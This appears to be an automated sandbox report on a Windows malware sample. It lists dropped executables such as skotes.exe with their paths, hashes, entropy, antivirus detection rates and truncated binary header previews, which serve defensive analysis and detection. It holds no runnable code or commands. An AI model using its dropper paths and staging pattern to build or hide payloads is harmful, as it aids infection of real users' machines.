SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: random.exe.7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: random.exe_Y.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........`......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	5.336742061370928
Encrypted:	false
SSDEEP:	384:JiynHMEyyp/He7ik+KcJB669mNPBqVgYERHtNNVYISZS1d7RroV5:PHvtm7ik+KcJB6jRHkISZShkn
MD5:	14BECDF1E2402E9AA6C2BE0E6167041E
SHA1:	72CBBAE6878F5E06060A0038B25EDE93B445F0DF
SHA-256:	7A769963165063758F15F6E0CECE25C9D13072F67FA0D3C25A03A5104FE0783A
SHA-512:	16B837615505F352E134AFD9D8655C9CABFA5BFCFBEE2C0C34F2D7D9588AA71F875E4E5FEB8CDF0F7BACC00F7C1CA8DABD3B3D92AFC99ABF705C05C78E298B4A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...pm;..........."...0..J..........:i... ........@.. ....................................`..................................h..O...................................Th..8............................................ ............... ..H............text...@I... ...J.................. ..`.rsrc................L..............@..@.reloc...............R..............@..B.................i......H........6..p1...........................................................0..8.......s2.....(....}<.....}=.....};....\|<.....(...+.\|<...(.....0..P........~.........,B.r...p(.....rc..p(.....(.....r...p.(....(......(....o......(.......0..8.......s,.....(....}......}......}.....\|......(...+.\|....(.....0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+....0............r...p( ...o!....+.....0............r...p( ...o!....+.....0..2.........r...pr...p

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2003968
Entropy (8bit):	7.951462878691881
Encrypted:	false
SSDEEP:	49152:EiJiNJTMqY5KljA1HW/S+c2WdyQxLqLo:sNliKlcOCJceqL
MD5:	D6070B7D0EC34E67A998DBE217C6C746
SHA1:	64E771F2BCB20E9CCC89C8B4A9CF1B36E431D491
SHA-256:	10B27D9CB387FA4AC371DE8767D5204925CA4DA9C490EA8E2491B1A60C49FD85
SHA-512:	52BC768F8654CEF43E62ABFDBA30878313AEA5893D80759C633D84CE01C701B05E6F24C995F3A2568AB16CA69E6C1223B7E39C74C509FD6607BFA5E9418784F3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^........K...........@.......................... L...........@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..)..........V..............@...ufswpnwm. ....1......X..............@...sqgpzdip......K......n..............@....taggant.0....K.."...r..............@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.38001807625381
Encrypted:	false
SSDEEP:	48:jWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//8PUyus:jLHyIFKL3IZ2KRH9Oug8s
MD5:	1264600FC5A0D9182A11D7646054F1F2
SHA1:	9055B0E8EBFA0E7C63DC1D2E4C5E1E583EDA8328
SHA-256:	96566816B0559F45BCD1D7EEE06EE2E0F2EECF1163A029792B9099C4C0DE8226
SHA-512:	97B098E36B7901E3DFEB00F5EA073237AC5C49995156379DB4AD83DC7A1431E3AB255D58CCC202AB2B8699C560583DA7A1E7CDB99C50C8CFC62C600F2A4467F7
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1880576
Entropy (8bit):	7.947827107801024
Encrypted:	false
SSDEEP:	49152:ZRGDbjz7g+LRMpnd6dc8dwpW+8cYsjL1i:ZRGDrky0nd6dcmUT8AjL1i
MD5:	FF279F4E5B1C6FBDA804D2437C2DBDC8
SHA1:	2FEB3762C877A5AE3CA60EEEBC37003AD0844245
SHA-256:	E115298AB160DA9C7A998E4AE0B72333F64B207DA165134CA45EB997A000D378
SHA-512:	C7A8BBCB122B2C7B57C8B678C5EED075EE5E7C355AFBF86238282D2D3458019DA1A8523520E1A1C631CD01B555F7DF340545FD1E44AD678DC97C40B23428F967
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................0J...........@..........................`J.....i.....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...xnuzvlhe.0..../......^..............@...tzuttanx..... J.....................@....taggant.0...0J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4462080
Entropy (8bit):	7.985337750479361
Encrypted:	false
SSDEEP:	98304:DsLQssV45wdVMBWQmIXnmZ27vSBKm/P1QBlQSr9K1GBIP:epgMBbmYmqv+KuPylZr9pBu
MD5:	D6CFEC5F8C250D92D751030C95D46AEC
SHA1:	70439CF2611F97C84AF487C44B88703D004A2BCA
SHA-256:	0200C5657794CCC0916AAE772004B7F72A793B77DC807B51B2F88E597813F611
SHA-512:	A939F9AF174D37E3D32D0794B1F14110DEFFD7847B884A79B5FD300BCC7C30CE285F6DBBC41AD6AB5BD237BB6353EFB7DDEE903A8EC155A10840DEC8C25D9BBB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....bg...............(.DI..$l..2... .......`I...@..........................P......LZD...@... ............................._.i.s.....i............................................................................................................. . .pi......H(.................@....rsrc.........i......X(.............@....idata ......i......Z(.............@... ..8...i......\(.............@...nlrrxusx.....p.......^(.............@...kobwowvr..............C.............@....taggant.0... ..."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	5.336742061370928
Encrypted:	false
SSDEEP:	384:JiynHMEyyp/He7ik+KcJB669mNPBqVgYERHtNNVYISZS1d7RroV5:PHvtm7ik+KcJB6jRHkISZShkn
MD5:	14BECDF1E2402E9AA6C2BE0E6167041E
SHA1:	72CBBAE6878F5E06060A0038B25EDE93B445F0DF
SHA-256:	7A769963165063758F15F6E0CECE25C9D13072F67FA0D3C25A03A5104FE0783A
SHA-512:	16B837615505F352E134AFD9D8655C9CABFA5BFCFBEE2C0C34F2D7D9588AA71F875E4E5FEB8CDF0F7BACC00F7C1CA8DABD3B3D92AFC99ABF705C05C78E298B4A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...pm;..........."...0..J..........:i... ........@.. ....................................`..................................h..O...................................Th..8............................................ ............... ..H............text...@I... ...J.................. ..`.rsrc................L..............@..@.reloc...............R..............@..B.................i......H........6..p1...........................................................0..8.......s2.....(....}<.....}=.....};....\|<.....(...+.\|<...(.....0..P........~.........,B.r...p(.....rc..p(.....(.....r...p.(....(......(....o......(.......0..8.......s,.....(....}......}......}.....\|......(...+.\|....(.....0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+....0............r...p( ...o!....+.....0............r...p( ...o!....+.....0..2.........r...pr...p

C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2003968
Entropy (8bit):	7.951462878691881
Encrypted:	false
SSDEEP:	49152:EiJiNJTMqY5KljA1HW/S+c2WdyQxLqLo:sNliKlcOCJceqL
MD5:	D6070B7D0EC34E67A998DBE217C6C746
SHA1:	64E771F2BCB20E9CCC89C8B4A9CF1B36E431D491
SHA-256:	10B27D9CB387FA4AC371DE8767D5204925CA4DA9C490EA8E2491B1A60C49FD85
SHA-512:	52BC768F8654CEF43E62ABFDBA30878313AEA5893D80759C633D84CE01C701B05E6F24C995F3A2568AB16CA69E6C1223B7E39C74C509FD6607BFA5E9418784F3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^........K...........@.......................... L...........@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..)..........V..............@...ufswpnwm. ....1......X..............@...sqgpzdip......K......n..............@....taggant.0....K.."...r..............@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........`......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0retlbmo.prx.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3rrctbel.hmp.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3y3dekcy.k3d.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5se4lkik.nci.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_byzkdonc.4y3.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gyljqjyh.hkn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i1spr1ub.lju.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o5yysd24.40w.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v4tpsg2x.ai4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vbaixe30.2q2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wgeemt1e.l40.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yrgncweh.0ja.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2966528
Entropy (8bit):	6.55106931550388
Encrypted:	false
SSDEEP:	24576:oW8IPnz3MNLz5g/oR+erMpAHuY7LGStg0Nn3WgCWED0CnO9lgJFbmK3Wj3zVK8bB:o5zlLrmStgq3WPRCOmAiZzr/9gcYK
MD5:	0AFE3BC3B68DDB4EBB3878A01A8BCD9A
SHA1:	AA25366B2677EE9E0029C3E12F9063742227FE1B
SHA-256:	F3E3C4115BD289A528C02AAE90A563E6B5DD6009E125D1FB142BCC7218CF068D
SHA-512:	B8067A96567D3D73AF408581A6B041758BCD77F8752D8A176A1253E978D832CED0E83F2775FB951F728AE06F11C6231171FE480AD454370116C47F45FBB52BAB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@.......................... 1......I-...@.................................W...k.............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...jxgkweio.0......(.................@...wbrwgikq......0.......-.............@....taggant.0....0.."..."-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
